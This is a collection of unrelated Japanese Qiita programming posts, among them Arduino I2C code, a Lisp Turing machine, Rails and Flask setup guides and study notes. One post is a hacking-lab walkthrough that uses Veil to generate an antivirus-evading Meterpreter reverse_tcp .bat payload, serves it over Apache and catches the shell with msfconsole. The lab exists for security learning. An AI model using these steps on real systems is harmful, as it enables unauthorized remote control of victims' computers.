OmniAICreator/Qiita-1.07M huggingface dataset:
Arduino UNOとマイコン応用I2C超音波距離センサーで遊ぶ


目的
マイコン応用I2C超音波距離センサー(STM32G031)を繋いでみる


![o_con365.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/918b7b5d-a742-bbb0-6f3a-d80076b44912.jpeg)


-366


![o_con366.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/840352/d2f7a767-b6a4-1a4c-628a-cb2e780597f5.jpeg)




https://qiita.com/caa45040/items/b74c0e26e768fdf750a3



```c++


//i2c_master_HC_SR04_UNO_1

//インクルド
#include <Arduino.h>
#include <Wire.h>

//初期化
void setup()
{

  //シリアルポートの初期化(9600bps)
  Serial.begin(9600);

  //I2Cの初期化
  Wire.begin(); //UNO

} //setup


//メインループ
void loop()
{

  int  l;                //距離
  unsigned char b = 200; //レンジ圧縮の値

  //I2C読み込み
  Wire.requestFrom(8, 1);
  while(Wire.available())  { // 要求より短いデータが来る可能性あり
    b = Wire.read();         // 1バイトを受信
  }//while

  //レンジ圧縮をして8ビット(256)に収める
  //60mm から　200mmまでは、1mm単位
  //60mm = 0 , 200mm = 140
  //200mm から　800mmまでは、1cm単位
  //200mm =140 ,  800mm = 200
  if( b <= 139 ) {
    l = b + 60;
  } else {
    l = ((int)(b - 140 + 20)) * 10;
  }//endif

  //距離の表示
  Serial.print("800,");
  Serial.print( l ); //UNO
  Serial.print(",0");
  Serial.println(" ");
  delay(500); // 0.5秒の待ち

} //loop



```
Lispでチューリングマシンを作る

# はじめに
自作のEasy-ISLispに付属のパターンマッチングライブラリを使ってチューリングマシンを作りました。ライブラリの使い勝手を確認することが目的でした。


# データ構造
テープはリストを使って表すこととします。ヘッドの位置は先頭を１とする自然数で表します。

# 本体関数

(tm state position tape)

state は内部状態を表します。ここではq0～q5です。停止する内部状態はqfです。

ヘッドの位置にあるテープの値を読み取り、それに応じて次の内部状態に遷移します。これをパターンマッチングで行います。


```lisp
(import "elixir")

(defpattern tm
    ((q0 _p _t) (when (= (nth _p _t) 1)) (state 'q0 _p _t) (tm 'q0 (+ _p 1) _t))
    ((q0 _p _t) (when (= (nth _p _t) 0)) (state 'q0 _p _t) (set _p _t 1) (tm 'q1 _p _t))
    ((q1 _p _t) (when (= (nth _p _t) 1)) (state 'q1 _p _t) (tm 'q1 (- _p 1) _t))
    ((q1 _p _t) (when (= (nth _p _t) 0)) (state 'q1 _p _t) (tm 'q2 (+ _p 1) _t))
    ((q2 _p _t) (when (= (nth _p _t) 1)) (state 'q2 _p _t) (set _p _t 0) (tm 'q3 _p _t))
    ((q3 _p _t) (when (= (nth _p _t) 0)) (state 'q3 _p _t) (tm 'q4 (+ _p 1) _t))
    ((q4 _p _t) (when (= (nth _p _t) 1)) (state 'q4 _p _t) (set _p _t 0) (tm 'q5 _p _t))
    ((q5 _p _t) (when (= (nth _p _t) 0)) (state 'q5 _p _t) (tm 'qf (+ _p 1) _t))
    ((qf _p _t) (state 'qf _p _t)))


```

このパターンマッチングのライブラリはJoseさんのElixirにインスパイアされて同等の機能をLispマクロを利用して実装したものです。q0~qfは内部状態を表しています。_pはヘッドの位置、_tはテープを表すリストです。特定の内部状態にマッチします。さらにその状態でヘッドの位置が１か０かで動作が異なります。when構文を利用しています。パターンにさらに制約条件を追加するものです。これによってヘッド位置の値が０か１かを判別して対応する動作をしています。


# 動作例
次は２＋３＝５の計算をしている様子です。

```
Easy-ISLisp Ver2.39
> (load "tests/turing.lsp")
T
> (tm 'q0 2 '(0 1 1 1 0 1 1 1 1 0))
   Q0
(0 1 1 1 0 1 1 1 1 0)
     Q0
(0 1 1 1 0 1 1 1 1 0)
       Q0
(0 1 1 1 0 1 1 1 1 0)
         Q0
(0 1 1 1 0 1 1 1 1 0)
         Q1
(0 1 1 1 1 1 1 1 1 0)
       Q1
(0 1 1 1 1 1 1 1 1 0)
     Q1
(0 1 1 1 1 1 1 1 1 0)
   Q1
(0 1 1 1 1 1 1 1 1 0)
 Q1
(0 1 1 1 1 1 1 1 1 0)
   Q2
(0 1 1 1 1 1 1 1 1 0)
   Q3
(0 0 1 1 1 1 1 1 1 0)
     Q4
(0 0 1 1 1 1 1 1 1 0)
     Q5
(0 0 0 1 1 1 1 1 1 0)
       QF
(0 0 0 1 1 1 1 1 1 0)
NIL
> 

```

最初のテープの状態(0 1 1 1 0 1 1 1 1 0)は２と３を表しています。これを状態q0、ヘッド位置２からスタートさせています。
最後に得られるテープ(0 0 0 1 1 1 1 1 1 0)は５を表しています。


ヘッド位置のデータを読み込む、あるいはヘッド位置にデータを書き込む関数などは下記のようになっています。

```lisp

(defun nth (point tape)
    (elt tape (- point 1)))


(defun set (point tape element)
    (setf (elt tape (- point 1)) element))


(defun tab (n)
    (for ((i 1 (+ i 1)))
         ((> i n) t)
         (format (standard-output) " ")))

(defun state (state point tape)
    (tab (+ (* (- point 1) 2) 1))
    (format (standard-output) "~A~%" state)
    (format (standard-output) "~A~%" tape))

```


# パターンマッチングの有用性
defpatternを使わなければcond節を多用することとなり見通しの悪いコードになることでしょう。パターンマッチングにより直観的にわかりやすいコードになりました。

# ライブラリ名の由来
このパターンマッチライブラリにはElixirという名前がついています。Joseさんが設計したRubyにシンタックスの似た関数型言語です。私はJoseさんの素晴らしいに言語設計のセンスを尊敬しています。尊敬の念をこめてElixirというライブラリ名とさせていただいています。他にもElixirと同様のパイプ演算子の機能もあります。


# 参考文献
吉田要先生の「情報学概論　Prologプログラミング」P69を参考に作りました。

# 終わりに
Lispというと今や古式ゆかしい古典言語の趣があります。（もっともClojureは現在の現場で使用されていますが）。さらにISLispは言語仕様が小さいのでこうしたトイプラグラムを書く題材に向いています。こんな古典的な例題を楽しむのもまた一興かと思われます。自作のEasy-ISLispはOSSとして公開されています。

https://github.com/sasagawa888/eisl
Webアプリデプロイ方法(AWS EC2編) - 補足 -

# はじめに
以前の記事「[Webアプリデプロイ方法(AWS EC2編)](https://qiita.com/Unimaru/items/66a01ad5dab54e66ff47)」でデプロイしたアプリについて、機能改善などで都度更新する内容を本番EC2インスタンスに反映させる手順。
上記の記事内で初回デプロイ時に各種設定を実施していることが前提。

# 開発環境にてコード編集、リモートリポジトリにpush
- Macなど、開発環境にて機能改善などにより、プログラムコードを編集する
- 編集したコードをリモートリポジトリにpushして反映させる

# リモートリポジトリからpull

- デプロイ対象のEC2インスタンスにssh接続し、ローカルリポジトリに移動する

```sh:EC2
[memadmin@ip-xx-x-x-xxx memory_tank]$ pwd
/var/www/rails/memory_tank
```
- commitがされていないファイルが存在する場合、commitするかgit checkoutで以前のcommitまで戻す
※ リモートリポジトリと競合しない状態にする
```sh:EC2
[memadmin@ip-xx-x-x-xxx memory_tank]$ git status
On branch master
Your branch is behind 'origin/master' by 1 commit, and can be fast-forwarded.
  (use "git pull" to update your local branch)

Changes not staged for commit:
  (use "git add <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
	modified:   A
no changes added to commit (use "git add" and/or "git commit -a")
[memadmin@ip-xx-x-x-xxx memory_tank]$ git checkout A
Updated 1 path from the index
```

- リモートリポジトリからpullする
```sh:EC2
[memadmin@ip-xx-x-x-xxx memory_tank]$ git pull
Updating 0790397..a16a99b
Fast-forward
 Gemfile                                     | 7 ++++++-
 app/controllers/words_controller.rb         | 4 ++--
 app/models/word.rb                          | 4 ++--
 app/views/devise/registrations/new.html.erb | 2 +-
 app/views/devise/sessions/new.html.erb      | 2 +-
 app/views/words/edit.html.erb               | 4 ++--
 app/views/words/new.html.erb                | 4 ++--
 config/credentials.yml.enc                  | 2 +-
 config/database.yml                         | 8 ++------
 9 files changed, 19 insertions(+), 18 deletions(-)
```
# Gemfile編集
- 開発環境のファイルとの差分を解消する
```sh:EC2
[memadmin@ip-xx-x-x-xxx memory_tank]$ pwd
/var/www/rails/memory_tank
[memadmin@ip-xx-x-x-xxx memory_tank]$ vi Gemfile 以下を追記
+ group :production do
+    gem 'unicorn'
+    gem 'dotenv-rails'
+ end
```

以上、最後まで読んで頂きありがとうございました！
Flask についてまとめ　Flaskを動かしてみる


### Flaskはpython製のマイクロwebフレームワーク

マイクロwebフレームワーク
はコアとなる機能を保ちつつ、拡張性を持っているフレームワークのことを言います
こちらの記事は本の紹介となります

https://codezine.jp/article/detail/15432


電通国際情報サービスISID AIトランスフォーメーションセンター　小川 雄太郎様が翻訳されたサイトもあります
Google Colaboratoryでの実装

https://colab.research.google.com/github/YutaroOgawa/pytorch_tutorials_jp/blob/main/notebook/5_Deployment/5_1_flask_rest_api_tutorial_jp.ipynb

### Google Colaboratoryでの実装コードを眺めて概要をつかむ

ソースコードを見るとFlaskのドキュメントを参考にした、シンプルなWebサーバーを構築されています

https://www.no1web.jp/blog/15004/

webサーバーは
WEBブラウザからのリクエストに応じて静的画面や画像などのホームページのデータを Web ブラウザーに送ってくれるサーバーのことです

サーバーはサービスや機能を提供する側のコンピュータのことです

https://wa3.i-3-i.info/word144.html

PythonにはいくつものWebアプリケーションフレームワークがあり、
例えば、Djnago(ジャンゴ)やpyramid、bottleなど他にもありますが、
Flaskは学習コストの低いのが特徴です


### Flaskを動かしてみる

pip install flask　でインストール後
下のプログラムをflask_sample.pyという名前でDesktop（デスクトップ）に保存してください

```
from flask import Flask

#Flaskのクラスをインスタンス化する
app = Flask(__name__, static_folder='.', static_url_path='')

#URL と実行する関数をマッピングする
@app.route('/')
def index():
    return app.send_static_file('index.html')

app.run(port=8000, debug=True)
```

やり方がわからない方はこちらのサイトをご参照ください

https://aiacademy.jp/media/?p=57


次に、index.htmlファイルを作ります。
拡張子はHTMLファイルですので、「.html」になります。
この際、index.htmlを保存するディレクトリはflask_sample.pyと同じ階層であることに注意してください。

```
<!DOCTYPE html>
<html lang="ja">
<head>
    <title>初めてのFlaskアプリケーション</title>
</head>
<body>
<p>Flask</p>
</body>
</html>
```

コマンドプロンプトで以下を実施し
```
python flask_sample.py
```

localhost:8000にアクセス

Flask　と表示されればOKです！！！
【carrierwave】deviseで作ったuserにプロフィール画像を割り当てる

参考：　https://zenn.dev/yukihaga/articles/e63a224431bc96
　　　　　　　：　https://scrapbox.io/rails-beginners/Devise%E3%81%A7%E4%BD%9C%E6%88%90%E3%81%97%E3%81%9F%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E3%81%AB%E3%83%97%E3%83%AD%E3%83%95%E3%82%A3%E3%83%BC%E3%83%AB%E7%94%BB%E5%83%8F%E3%82%92%E5%89%B2%E3%82%8A%E5%BD%93%E3%81%A6%E3%82%8B(CarrierWave)

今、インスタみたいな（厳密には全然違うけど）アプリケーションを作っているんですが
投稿ポストにはactivestrageで画像ファイルを保存させているんですが、
「この手のサイトってアイコンとかプロフィール画像あるじゃん」ってことに気づいてしまい。後付けでuser登録時にimageを紐づけることに。

経験値が浅い私は
「active strageにuserもアソシエーションして、deviseのサインアップ画面に：imageを保存できるようにfilefield置けば行けるでしょ」ってぐらいの感覚でしたが案の定エラーが出たので、調べてavatarをつける【carrierwave】というgemを見つけました

# 使い方

code:Gemfile
```
 # 以下追加
 gem 'carrierwave'
 gem 'mini_magick'
```
ターミナル
```
bundle install
```
```
rails generate uploader Avatar
```

これでgemは入りました
アップローダーを設定します

app/uploaders/avatar_uploader.rb
```
 class AvatarUploader < CarrierWave::Uploader::Base
    def store_dir
      "uploads/#{model.class.to_s.underscore}/#{mounted_as}/#{model.id}"
    end

    def default_url
      'sample.jpg'
    end
  
    def extension_allowlist
      %w(jpg jpeg gif png)
    end
  end
#他にコメントアウトされた何某がデフォルトで記述されてますが今回の実装では触らない。
```
.gitignore
```
  /public/uploads
```
↑この記述によってgitにimageを持って行かないようにします。

ターミナル(カラムを足す)
```
% rails g migration add_avatar_to_users avatar:string
% rails db:migrate
```

# 呼び出す時の色々

code:app/controllers/application_controller.rb
```
  before_action :configure_permitted_parameters, if: :devise_controller? # 追加
   # 以下追加
   protected
 
     def configure_permitted_parameters
   	  devise_parameter_sanitizer.permit(:sign_up, keys: [:avatar])
     end
 end
```
フォームの作成
```
  <div class="form-group">
    <%= f.label :avatar %>
    <%= f.file_field :avatar, class: 'avatar' %>
  </div>
```

一覧に表示
```
 <%= image_tag @user.avatar.url, class: 'user_avatar' %>
```

これでユーザーに紐づいたプロフィール画像を登録・表示する処理ができましたとさ。
まだまだ知らないフレームワーク多いね。
Kali Linux2022.1 でハッキングラボをつくってみる 6　Windows10をハッキングする4 Veil Frameworkを利用する

# はじめに
「ハッキング・ラボのつくりかた」(IPUSIRON著）のP.335-342をもとに記事を作成する。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::

# Veil Frameworkのインストールと初期設定
アンチウイルスを回避しなければ、Meterpreterセッションを確立することは出来ない。
Veil Framework(veil)は、アンチウイルスを回避するようなペイロードを生成するツールである。
## インストール
```
sudo apt install veil-evasion
sudo veil
```
aptでのインストールが完了したら、コマンド`veil`を管理者権限で実行する。初回起動時は、セットアップが立ち上がる。
その際に、"Are you sure you wish to install Veil-Evasion?"と尋ねられたら、回答"Continue with installation?"に「s」(silent)を入力

同書にも「このインストールはかなり時間がかかります。」と有るとおり、まじで時間がかかります。
時間に余裕があるときに行いましょう。

:::note
`apt search veil`の実行結果で、"veil-catapult"というVeilFrameworkを利用する別のツールもあるが、現在(2022年時点)ではサポートされていないっぽい。
https://github.com/Veil-Framework/Veil-Catapult
:::

## 更新
アンチウイルスからの回避の成功率をあげるために、Veilをアップデードしておく。
Veilのプロンプトで次にコマンを実行。
```: Veil >:
update
```

:::note
`update`コマンドは、veilを`sudo veil`で立ち上げておかないと、正常に終了しなかった。
:::

# ペイロードの設定・作成
Veilには、EvasionとOrdnanceという２つのツールが存在する。アンチウイルスを回避したい場合、Evasionを選択する。ちなみに、Ordnanceは、ペイロードやエクスプロイトに利用できるシェルコードを生成するらしい。
https://github.com/Veil-Framework/Veil-Ordnance

## 設定
Evasion (1)を使う。
```:Veil >:
use 1
```
使用できるペイロードを一覧表示
```:Veil >:
list
```
22番目の"22)     powershell/meterpreter/rev_tcp.py"を利用する。
```:Veil >:
use 22
```
オプション内容の、LHOSTをKaliLinuxのIPアドレスに変更する。
`options`コマンドで確認する。
```:Veil >:
set lhost 192.168.1.100
options
```

:::note
LHOSTは小文字でもOK
:::

## 作成
設定が終わったら、ペイロードを作成する。
```:Veil >:
generate
```
"Please enter the base name for output files(default is payload): "にはファイル名を指定する。ここでは、evilWin10v2と指定した。batファイルが作成される。

# 設置
`exit`コマンドでVeilプロンプトを終了させて、作成したbatファイルを/home/kaliとapache2のディレクトリにコピーする。apacheを再起動させて、batファイルがwindows10でダウンロードできるようにする。
```
sudo cp /var/lib/veil/output/source/evilWin10v2.bat /home/kali/payloads/
sudo cp /var/lib/veil/output/source/evilWin10v2.bat /var/www/html/share/
sudo systemctl restart apache2
```

# リバースシェルを待ち受ける
msfconsoleを立ち上げ、
```
use /multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.100
exploit
```
と実行する。
リバースシェルの待ち受け状態となる。

Windows10でevilWin10v2.batを実行する。Windows Defender SmartScreenの警告画面が出る。構わず実行すると、セッションが確立する。

# 終わりに
参考にしたもの
「ハッキング・ラボのつくりかた」(IPUSIRON著)

https://github.com/Veil-Framework/Veil-Catapult

https://github.com/Veil-Framework/Veil-Ordnance
エンジニアとメンタルヘルス

前回書いた[こちら](https://qiita.com/bell_007/items/8d8ec8d35722b4f50dc0)のインポスターシンドロームについての記事が想像以上にLGMTいただいてびっくりしました。

まだエンジニアとして働き始めてから半年なのですが、独学でただ仕事の合間や休日に勉強していた時と比べて、実際にエンジニアとして働き始めてから、いわゆるエンジニアのメンタル面について巷で言われていることについて真剣に考えるようになりました。

日本ではあまり浸透していないものの海外では既に名前がついていて議論されているというものもあったので、いくつか気になるトピック毎に取り上げてみたいと思います。

## ハッスルカルチャー

> [Meaning: It's a lifestyle where career has become such a priority in your life or the environment that you work in that other aspects of being human — such as hobbies, family-time and self-care — often take a back seat.](https://www.goodhousekeeping.com/health/wellness/a38416524/hustle-culture/)

[参考記事](https://www.monster.com/career-advice/article/what-is-hustle-culture)

これは日本ではあまり馴染みのない言葉だと思います。海外ではワーカホリックと関連して語られることが多いのですが、仕事やキャリアが人生で何より大事で、そのキャリアのゴールに向かって邁進するカルチャーのことです。

日本でもワーカホリックというのは結構聞かれる言葉だと思いますし、実際日本人は本当に相対的にみてかなりの時間働いていると思います。ハッスルカルチャーでググると日本の過労死について語られている[記事](https://medium.com/age-of-awareness/hustle-culture-is-screwing-the-millennials-and-generation-z-in-ways-you-can-never-imagine-ea250665d2e7)もよく見ます。

まあそれはさておき、シリコンバレーでは特にこのハッスルカルチャーが蔓延っているので有名です。まあ別にシリコンバレーだけでなく、IT業界はどこの国でもこういうハッスルカルチャーが蔓延っていると思います。Study hard, work hardをそのまんま体現している。また、IT業界に女性が少ないのもそれが理由の一つでは、と思うのですが、この常にワーカホリック的に自分にムチを打って働き続ければ、というカルチャーは女性には辛いです。

ただ最近はそれを疑問視する声も多く、またしてもmayukoさんの[記事](https://bloggingpost.in/i-couldnt-endure-silicon-valley-hustle-culture-anymore-so-i-left/)ですが、ここのブログでいかにそういったカルチャーによってメンタルを壊しかねないか、ということが語られています。

https://youtu.be/b2z4EvK9h0M


ちなみにハッスルカルチャーというか、ハッスル自体はダブルワークという意味もあるようで、特に本業がありながらブロガーやらYoutuberやら、個人アプリ開発したり、という人は常に働き続けているので、バーンアウトしやすいようです。

## バーンアウト

https://youtu.be/hQX-BtFp-Rc

日本語で言えば燃え尽き症候群です。上の動画ではバーンアウトは自分が注いだ努力に対しての成果が想像より少なかった場合に起こりがち、と説明されています。


ちなみにバーンアウトで検索して出てきたこの動画が良かったのでオススメですが、バーンアウトだと思ったらもう既に手遅れらしいです😇…

https://youtu.be/gLxDCC9qHRk

ここで言われていた対策では、まあ瞑想するとか、運動、誰かに話す、という典型的なものもありましたが、binge watchもオススメらしいです(ネトフリとかで一日中映画やドラマをぶっ続けで見る。それ以外は何もしない。)個人的には何も考えずに楽しめる趣味や手仕事的なもの(例えば刺繍とか編み物、プラモデル、書道とかの手に集中する作業系の趣味)良いかなと思いますが、自分に合うのが見つからなかったので今のところ現実を忘れられる読書をたまにします。(なぜか私の場合ゲームはあんまりストレス解消にならない)

## その他

### エンジニアは仕事以外でも常に勉強し続けるべきなのか？

これは結構Twitterでもよく見ます。エンジニアは技術の向上や新しい技術の知識を身に付けたりするのが何より大事なので、休日もやるべきである、という考え方。ただこれも上のハッスルカルチャーやバーンアウトに直結しやすいと思います。

で、freecodecampという無料でweb系メインに技術を学ぶことができるオンラインのサービスを出している[ここでの記事](https://www.freecodecamp.org/news/lets-talk-about-coding-outside-of-work/amp/)が自分的にはしっくりきました。何かというと、程々にやるのが良いでしょう、ということですね。毎週末全部それに費やしていたら、多分すぐバーンアウトします。(プログラミングが趣味じゃないなら特に)かといって休日技術に関係することを全くやらないというのもちょっとやりすぎな感じもします。なので何事も程々にやりましょうということです。

ちなみに私の場合、大学受験ですらほぼ数ヶ月でも常に机の前に座って何時間も勉強し続けるのが出来なかったので(最後はほぼTwitterばっかりやってた)休日家に引きこもって何時間も勉強するのは無理でした(笑)なので今もせいぜい休日数時間ぐらいしか勉強出来ません。まあそれもあって独学で勉強して転職するまでに2年もかかったわけですが…


## 最後に

エンジニアがよくなりやすいメンタルヘルスの問題について、海外記事、動画を中心にご紹介しました。少しでも悩んでいる方のご参考になれば幸いです。

ちなみにこれを調べたきっかけが、最近インポスターシンドローム以外でメンタル的にちょっと辛いなと感じていたからなのですが、こういったカルチャーやメンタリズムについて調べることで少々気持ちが落ち着きました。症状に名前がつくだけで落ち着くというアレかもしれません。
半加算器と全加算器

## 加算器
<b>2進数の加算を行う回路。半加算器と全加算器の2種類がある
### 半加算器
<b>二つの2進数を加算して、同桁の値(S)と桁上がり(C)を出力する加算器。
最下位桁で用いる。
半加算器は排他的論理和と論理積の組合わせ。上位への桁上がりのみ考慮。
![new601.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/7074571e-25dd-4ef9-81b7-9ccaf2b797c0.png)
### 全加算器
<b>上位桁への桁上がりだけでなく、下位桁からの桁上がり(C')も考慮した加算器
最下位以外の桁で用いられる。半加算器と論理和の組合わせによって実現
![new602.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/1f58b60d-cdbd-3377-ced1-b1d7144ee3a3.png)
AWS Certified Database - Specialty勉強記録[個人用]

# AWSDB専門知識 要点まとめ
## 20220429_「AWS認定データベース-専門知識2章~3章」
### ２章_RDS
* スタンバイレプリカは高可用性のために作成するもので読み取り性能強化のためのものではない
* AWS Auroraに限ってはスタンバイレプリカとリードレプリカは兼用なので注意
* エンドポイントはDNS形式で決められた名前でDBのインスタンス意識せずに単体の子有名が与えられる
* RDSインスタンスタイプのルール。以下のインスタイプだと`db`は固定文、`m`がファミリー,`６`が世代、`g`が追加属性,`large`がインスタンスのサイズ。インスタンスの世代は数字が大きいほど最新
```
db.m6g.large
```
* インスタンスファミリー 概要
```
T　--バースト可能な汎用クラス
M --バランスの取れた汎用クラス
R --メモリ最適化クラス
X --大規模アプリ用クラス
Z --メモリ最適化クラスの中でも最強どこで使用するかは不明
```
* インスタンスタイプ 追加機能
```
g --AWSGraviton2プロセッサを使用するために必要
e --他のプロセッサを使用
d --ローカルストレージを使用
```
* ストレージサイズ 概要
```
汎用SSD --プロビジョンIOPS以下、汎用,100~10000IOPS
プロビジョンIOPS --I/Oに強くなり複数のアクセスを捌けるようになる,1000~160000IOPS
マグネティック --旧来のシステムが使えるようにしたディスクストレージ,IOPSはばかたれ
```
* リードレプリカ
```
リードレプリカは読み取り性能を強化できるが高可用性を持たせる意味はない。
mySQL --MysqlEnterprizeVersionでしか使用できない
olacle --OracleEnterprizeEdition(EE)でしか使用できない
```
RailsプロジェクトにVue.js導入の仕方

# 概要

RailsとVue.jsで開発を行うときにVue.jsの導入で躓いたので共有します
色々記事を見ながら試したんですけどエラーで詰まってハマってしまったので１人でも多くの人に共有できればと思います。

# はじめに
Railsの環境構築は終わったものとする(rails new できる状態)

# 環境構築
環境構築にはhomebrewとrbenvを使用します
まだの方はこちらからインストールしてください
- rbenv: https://github.com/rbenv/rbenv#installation
- homebrew: https://brew.sh/index_ja

### 使用する環境
- MacOS(m1)
- Rails 6.1.5
- Ruby 3.1.0
- yarn 1.22.17
- Homebrew 3.4.8

### はじめにアプリケーションを作成するディレクトリを作成

```shell
$ mkdir rails_Vue_app
$ cd rails_Vue_app
```

### Rails プロジェクトの作成
バージョンを指定して作成
```shell
$ rails _6.1.5_ new rails_Vue_sampleapp --webpack=vue
```

### プロジェクトへ移動
```shell
$ cd rails_Vue_sampleapp
```
### サーバー起動

```shell
$ rails s
```
http://localhost:3000 にアクセスしてこの画面が出たら成功です

![スクリーンショット 2022-04-29 16.18.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/4630e56f-2faf-c3d2-92ae-2c0cb0ce22ac.png)


## HelloVueまで
railsプロジェクトの作成をしたのでHelloVueの表示をしていこうと思います

### コントローラーの作成

```shell
$ rails g controller home index
```

### Javascript_pack_tagを使ってjavascriptを読み込むようにする
`javascript_pack_tag` を使用することで `app/javascript/packs` 配下にあるファイルの読み込みが可能になります
今回は、読み込む対象として`hello_vue.js` を指定します。
rails new の時にVueを指定するとVueファイルが自動で生成されるので今回は作らなくて大丈夫です

```diff:app/views/home/index.html.erb
  <h1>Home#index</h1>
  <p>Find me in app/views/home/index.html.erb</p>
+ <%= javascript_pack_tag 'hello_vue.js' %>
```
## ルーティングを変更
```diff:config/routes.rb
- get 'home/index'
- # For details on the DSL available within this file, see https://guides.rubyonrails.org/routing.html
+ root 'home#index'
```
これでrailsサーバーを再起動するとHelloVueが表示されるとの記事が多いのですが自分の環境だと何も表示されない😅

![スクリーンショット 2022-04-29 15.32.09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/1456eaaa-7aed-0940-1fd9-f47cad6c382a.png)

何故だああああああああああああああ😭😭
色々な記事を読んで調べるものの手がかりがなくて1日ほど経過

## 解決方法

Vue.jsのバージョンの問題かもしれないとの記事を発見

```shell
$ npm list vue
```
これでVue.jsのバージョンを確認できる
自分の場合は3.2.33だった

どうやら２系にすると上手くいくらしい

早速package.jsonファイルを編集していく

```diff:package.json
- "vue": "^3.2.33",
+ "vue": "^2.6.14",
```
に書き換えてインストール

```shell
$ npm install
```
バージョン確認
```shell
$ npm list vue
```
ちゃんと2.6.14になってた

さいどrailsサーバーを再起動

![スクリーンショット 2022-04-29 15.32.09.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/1456eaaa-7aed-0940-1fd9-f47cad6c382a.png)
何故だーーーーー😱😱

先輩が調べてくださり、Vueを２系にするなら他のやつも依存関係が原因かもとのこと
試してみる
```diff:package.json
- "vue-loader": "^17.0.0",
-  "vue-template-compiler": "^2.6.14",
+ "vue-loader": "^15.7.0",
+ "vue-template-compiler": "^2.6.12",
```
に書き換えてインストール

```shell
$ npm install
```
エラーがでる
![スクリーンショット 2022-04-29 15.54.17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/dbbc4eed-1991-3c68-a95e-cc896d13927d.png)
よく読むと依存関係の問題らしいエラーの指示通りに-fオプションをつける


```shell
$ npm install -f
```
そしてrailsサーバーを再起動
今度こそ！！きたーーーーーー🥺🥺🥺
![スクリーンショット 2022-04-29 15.57.23.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2124434/643566e9-7667-3792-0a49-e26b9635c385.png)

## 最後に
先輩のぐぐり力は偉大なり
初めての書いたので色々わかりにくいところなどあるかも知れませんが多めに見ていただけると助かります
npmとは

## npmとは
Node.jsのパッケージを管理するシステム。
アプリケーションを作成する際に便利なパッケージをそのプロジェクト（フォルダ）にインストールして使用することができる。
パッケージとは、他のプログラムから利用することを目的としたクラスや関数などのプログラムのこと。

## npmの必要性
自分でダウンロードするパッケージには以下の問題がある

- 依存関係
- 競合関係

npmはこれらの問題を解決してくれる。

## package.jsonとは
プロジェクト（パッケージ）の構成、構造を示した設計書のようなもの。

# 参考記事
https://zenn.dev/antez/articles/a9d9d12178b7b2#npm%E3%81%A8%E3%81%AF
論理演算

## 論理演算
<b>「1と0」または、「真と偽」のように、2値のうちいずれか一方の値を持つデータ間で行われる演算。
演算結果も「1と0」または、「真と偽」になる。
論理演算を行う電子回路が論理回路で、CPUに組み込まれている。
論理回路は<font color = blue>MIL記号</font>で図式化したり、入出力の状態を表にまとめた<font color = blue>真理値表</font>で表現する。ベン図でよりわかりやすくなる。
主な論理演算に、<font color = blue>論理和(OR)・論理積(AND)・否定(NOT)</font>がある。

### 論理和(OR)
<b>入力(A,B)の少なくとも一方が1であれば、出力(A+B)は1となる演算。
※+は論理和という意味
### 論理積(AND)
<b>入力(A,B)の両方が1なら、出力(A・B)は1となる演算。
※・は論理積という意味
### 否定(NOT)
<b>入力(A)が0なら、出力(Ā)は1、入力が1なら出力(Ā)は0になる演算。
※ĀはAの否定を意味する
## 論理演算の組み合わせ
<b>論理和(OR)・論理積(AND)・否定(NOT)を組み合わせた演算。
### 排他的論理和(EOR,またはXOR)
<b>入力(A,B)が異なれば、出力(A⨁B)は1となる演算
※⨁は排他的論理和という意味
### 否定論理和(NOR)
<b>論理和と否定を組み合わせたもの
「A+B」の否定
### 否定論理積(NAND)
<b>論理積と否定を組み合わせた演算。
「A・B」の否定

MIL記号と真理値表↓
![semi18.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/c33811a6-90e6-1e94-f400-7d9d7818a973.gif)
ベン図↓
![H25-1-2-3ベン図.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2600460/8e70682e-aca1-0c93-6251-f7bed08663c2.jpeg)

### 命題
<b>真か偽のどちらかに決まる文のこと

## ビット演算
<b>「元のビット」と「特定のビット列」との間でビット演算を行い、ある特定のビットを取り出したり、反転させたりすることができる。「特定のビット列」のことを<font color = blue>マスクパターン(マスク)</font>という。
### ビット列の取り出し
<b>特定のビットを取り出すには、元のビット列とマスクパターンとの間で、論理積(AND)を行う。
例：下位4ビットの取り出し
元のビット列：00110001
マスクパターン00001111
       ↓
00000001の下位４ビットを取り出す。
IPアドレスやサブネットマスクの処理に使用
### ビットの反転
<b>ビットの反転をするには、元のビット列とマスクパターンとの間で、排他的論理和(EOR)を行う。
例：下位4ビットの反転
元のビット列：00110001
マスクパターン00001111
     ↓
00111110となる
パリティ符号(データチェック用に追加するビット)や暗号化の処理に使用

## ド・モルガンの法則

こちらの記事を見た方が分かりやすいです

https://manabitimes.jp/math/897
for/for in/forEach/enumeratedの処理速度について

enumeratedも含めての処理速度についての記事が見当たらなかったので、実験を兼ねての投稿。

## 確認に使用するコード
```swift
        let array: [Int] = Array(0...10000)
        
        // for
        var start = Date()
        for i in 0 ..< array.count {
            print(i)
        }
        var elapsed = Date().timeIntervalSince(start)
        print("for : \(elapsed)")
        
        // for in
        start = Date()
        for i in array {
            print(i)
        }
        elapsed = Date().timeIntervalSince(start)
        print("for in : \(elapsed)")

        // forEach
        start = Date()
        array.forEach {
            print($0)
        }
        elapsed = Date().timeIntervalSince(start)
        print("forEach : \(elapsed)")
        
        // enumerateObjectsUsingBlock
        start = Date()
        for (_, value) in array.enumerated() {
            print(value)
        }
        elapsed = Date().timeIntervalSince(start)
        print("enumerated : \(elapsed)")

